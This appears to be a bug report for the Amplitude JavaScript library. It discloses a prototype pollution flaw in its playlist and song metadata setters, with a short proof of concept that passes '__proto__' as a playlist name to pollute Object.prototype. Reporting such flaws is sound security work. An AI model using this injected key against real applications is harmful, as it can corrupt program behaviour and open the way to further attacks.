Prototype pollution in metadata setter

[aplhk]

Hi there, I found a potential prototype pollution in the metadata setter setSongMetaData and setPlaylistMetaData under some specific condition.

Here is the sample code:

let obj = {};
Amplitude.addPlaylist("__proto__", {}, []);
Amplitude.setPlaylistMetaData("__proto__", { a: "pollution" });
console.log(obj.a); // output: pollution

Expected behaviour: obj.a should be undefined.